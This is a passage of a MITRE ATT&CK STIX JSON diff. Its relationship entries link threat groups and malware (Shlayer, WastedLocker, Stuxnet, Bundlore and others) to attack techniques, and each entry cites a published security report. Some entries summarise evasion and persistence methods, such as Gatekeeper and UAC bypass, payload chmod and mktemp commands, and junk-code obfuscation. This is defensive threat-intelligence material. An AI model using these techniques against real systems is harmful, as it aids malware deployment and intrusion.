"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "modified": "2021-08-19T16:54:10.851Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T20:30:58.057Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7a705189-ab75-428c-ae52-b70bc0d17624", + "description": "(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2021-08-19T16:54:11.414Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T20:30:58.045Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. 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NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. 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Retrieved September 2, 2021.", + "source_name": "Talos Oblique RAT March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6aae6da8-eaf5-4139-a773-25075c4e0cc6", + "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) can break large files of interest into smaller chunks to prepare them for exfiltration.(Citation: Talos Oblique RAT March 2021)", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "modified": "2021-10-15T14:43:12.384Z", + "source_ref": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-10T15:13:36.948Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", + "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.", + "source_name": "Talos Oblique RAT March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d40b95c-629c-46bf-bafc-2558a180fedc", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has changed permissions of a second-stage payload to an executable via chmod.(Citation: sentinelone apt32 macOS backdoor 2020)", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "modified": "2021-10-11T21:33:03.013Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-13T18:33:56.304Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/", + "description": "Phil Stokes. (2020, December 2). APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique. Retrieved September 13, 2021.", + "source_name": "sentinelone apt32 macOS backdoor 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a92b1de-a2f2-4e68-aabc-a5568614f18c", + "description": "[Stuxnet](https://attack.mitre.org/software/S0603) checks for specific operating systems on 32-bit machines, Registry keys, and dates for vulnerabilities, and will exit execution if the values are not met.(Citation: Symantec W.32 Stuxnet Dossier) ", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "modified": "2021-10-12T19:55:27.422Z", + "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-13T20:21:53.955Z", + "external_references": [ + { + "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ", + "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.", + "source_name": "Symantec W.32 Stuxnet Dossier" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--130f35b1-17d5-45bf-9000-2040adbcc56c", + "description": "[Stuxnet](https://attack.mitre.org/software/S0603) transforms encrypted binary data into an ASCII string in order to use it as a URL parameter value.(Citation: Symantec W.32 Stuxnet Dossier)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2021-10-12T21:50:59.286Z", + "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-13T20:27:26.465Z", + "external_references": [ + { + "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ", + "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.", + "source_name": "Symantec W.32 Stuxnet Dossier" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2a4447dc-811d-487a-ade9-ef11e6e24e16", + "description": "[Bundlore](https://attack.mitre.org/software/S0482) uses the mktemp utility to make unique file and directory names for payloads, such as TMP_DIR=`mktemp -d -t x.(Citation: 20 macOS Common Tools and Techniques)", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2021-09-13T21:42:19.715Z", + "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-13T21:42:19.715Z", + "external_references": [ + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f19f6015-ffbe-4998-ad82-403fcfc2e649", + "description": "[Bundlore](https://attack.mitre.org/software/S0482) changes the permissions of a payload using the command chmod -R 755.(Citation: 20 macOS Common Tools and Techniques)", + "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", + "modified": "2021-09-13T21:42:19.730Z", + "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-13T21:42:19.730Z", + "external_references": [ + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--60a6f8ce-1ee6-4770-8d83-9c2717d53fc3", + "description": "If running with elevated privileges, [OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the spctl command to disable Gatekeeper protection for a downloaded file. [OSX/Shlayer](https://attack.mitre.org/software/S0402) also leveraged system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Shlayer jamf gatekeeper bypass 2021)", + "target_ref": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", + "modified": "2021-10-14T16:11:39.573Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T01:44:33.178Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019" + }, + { + "url": "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", + "description": "Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.", + "source_name": "Shlayer jamf gatekeeper bypass 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9cbfc2f6-0b87-402c-b536-2d9688b2e0ea", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the command appDir=\"$(dirname $(dirname \"$currentDir\"))\" and $(dirname \"$(pwd -P)\") to construct installation paths.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-09-14T03:13:16.471Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T03:13:16.471Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/", + "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", + "source_name": "sentinelone shlayer to zshlayer" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08e05216-9133-4056-bbc9-b91ea0a7c6f5", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the mktemp utility to make random and unique filenames for payloads, such as export tmpDir=\"$(mktemp -d /tmp/XXXXXXXXXXXX)\" or mktemp -t Installer.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: Shlayer jamf gatekeeper bypass 2021)", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2021-10-11T21:52:19.926Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T03:13:16.466Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/", + "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", + "source_name": "sentinelone shlayer to zshlayer" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + }, + { + "url": "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", + "description": "Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.", + "source_name": "Shlayer jamf gatekeeper bypass 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--519beaec-1b79-42d7-9739-8c22e896e0cd", + "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can modify registry values within the Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap registry key.(Citation: NCC Group WastedLocker June 2020)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2021-09-14T18:41:10.455Z", + "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T16:04:26.448Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.", + "source_name": "NCC Group WastedLocker June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7fff37e5-a123-4d85-850e-7745d1e18650", + "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can perform a UAC bypass if it is not executed with administrator rights or if the infected host runs Windows Vista or later.(Citation: NCC Group WastedLocker June 2020)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2021-09-21T21:07:44.435Z", + "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T16:04:26.806Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.", + "source_name": "NCC Group WastedLocker June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--97aa311a-04b1-473f-a298-1d230c82e881", + "description": "[WastedLocker](https://attack.mitre.org/software/S0612) contains junk code to increase its entropy and hide the actual code.(Citation: NCC Group WastedLocker June 2020)", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "modified": "2021-09-14T18:41:10.494Z", + "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T16:04:26.821Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.", + "source_name": "NCC Group WastedLocker June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9677d051-2bac-4686-8611-2d089d3d4b58", + "description": "[WastedLocker](https://attack.mitre.org/software/S0612) checks for specific registry keys related to the UCOMIEnumConnections and IActiveScriptParseProcedure32 interfaces.(Citation: NCC Group WastedLocker June 2020)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2021-09-14T18:41:10.532Z", + "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T16:04:26.819Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.", + "source_name": "NCC Group WastedLocker June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d67e450d-8b3c-4b6b-8213-c29223a7f4d6", + "description": "The [WastedLocker](https://attack.mitre.org/software/S0612) payload includes encrypted strings stored within the .bss section of the binary file.(Citation: NCC Group WastedLocker June 2020) ", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2021-09-14T18:41:10.543Z", + "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T18:29:17.822Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.", + "source_name": "NCC Group WastedLocker June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c0f58f34-8f30-4a21-9771-5656ad0f5900", + "description": "(Citation: NCC Group WastedLocker June 2020)(Citation: Crowdstrike EvilCorp March 2021)", + "target_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "modified": "2021-10-01T20:31:32.462Z", + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T19:56:28.375Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.", + "source_name": "NCC Group WastedLocker June 2020" + }, + { + "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", + "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.", + "source_name": "Crowdstrike EvilCorp March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6959fa0-405c-49b9-983e-653569247dbd", + "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can enumerate removable drives prior to the encryption process.(Citation: Sentinel Labs WastedLocker July 2020)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2021-09-14T20:47:33.528Z", + "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T20:47:33.528Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/", + "description": "Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021.", + "source_name": "Sentinel Labs WastedLocker July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ceadf11d-d89c-4ec6-a7a2-fe842570bb4c", + "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can execute itself as a service.(Citation: NCC Group WastedLocker June 2020)", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "modified": "2021-09-14T20:47:33.493Z", + "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-14T20:47:33.493Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. 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Retrieved September 7, 2021.", + "source_name": "Checkpoint Dridex Jan 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dd9f1283-ff4b-4314-b7ce-f326d6932bab", + "description": "[FIN7](https://attack.mitre.org/groups/G0046)'s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.(Citation: Crowdstrike GTR2020 Mar 2020)", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "modified": "2021-09-21T14:39:55.535Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-21T14:39:55.535Z", + "external_references": [ + { + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. 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Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8ac0d84e-76ce-4702-8616-2a2f9b41cfdc", + "description": "(Citation: ESET BackdoorDiplomacy Jun 2021)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2021-09-21T17:11:52.844Z", + "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-21T14:52:49.735Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--368ed1d6-0ce4-457c-b0b8-aad079d7a28e", + "description": "(Citation: ESET BackdoorDiplomacy Jun 2021)", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2021-09-21T17:11:52.836Z", + "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-21T14:52:49.737Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. 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Retrieved September 20, 2021.", + "source_name": "CrowdStrike Carbon Spider August 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7869fea0-23fe-4a05-bb16-b33019b9e2c1", + "description": "[EKANS](https://attack.mitre.org/software/S0605) can determine the domain of a compromised host.(Citation: IBM Ransomware Trends September 2020)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2021-10-13T21:54:51.831Z", + "source_ref": "malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-21T15:56:53.588Z", + "external_references": [ + { + "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/", + "description": "Singleton, C. and Kiefer, C. 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Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.", + "source_name": "ESET Casbaneiro Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eeccfd34-bc7a-4a94-bc27-3f5f20063ee7", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has encrypted C2 commands with AES-256.(Citation: ESET Casbaneiro Oct 2019) ", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2021-09-27T17:42:21.012Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-24T19:53:22.097Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", + "description": "ESET Research. (2019, October 3). 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Retrieved September 23, 2021.", + "source_name": "ESET Casbaneiro Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a000579c-9149-4696-942f-e115d98eb96f", + "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) created Dropbox accounts for their operations.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "modified": "2021-10-16T02:06:06.612Z", + "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-24T21:41:35.008Z", + "external_references": [ + { + "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html", + "description": "Lakshmanan, R.. (2021, July 1). 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Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dd9e0f42-5d9d-4690-9d34-4e08a29d4868", + "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) sent spearphishing emails containing malicious password-protected RAR attachments.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2021-09-24T22:08:18.655Z", + "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-24T21:41:35.014Z", + "external_references": [ + { + "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html", + "description": "Lakshmanan, R.. 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Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ecedc32f-3e97-4c2c-9b7e-d847baec8a44", + "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) sent spearphishing emails containing malicious attachments that urged recipients to review modifications in the file which would trigger the attack.(Citation: HackerNews IndigoZebra July 2021)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-09-24T21:41:35.028Z", + "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-24T21:41:35.028Z", + "external_references": [ + { + "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html", + "description": "Lakshmanan, R.. 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(2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.", + "source_name": "Trend Micro Qakbot May 2020" + }, + { + "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks", + "description": "Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.", + "source_name": "Kroll Qakbot June 2020" + }, + { + "url": "https://success.trendmicro.com/solution/000283381", + "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 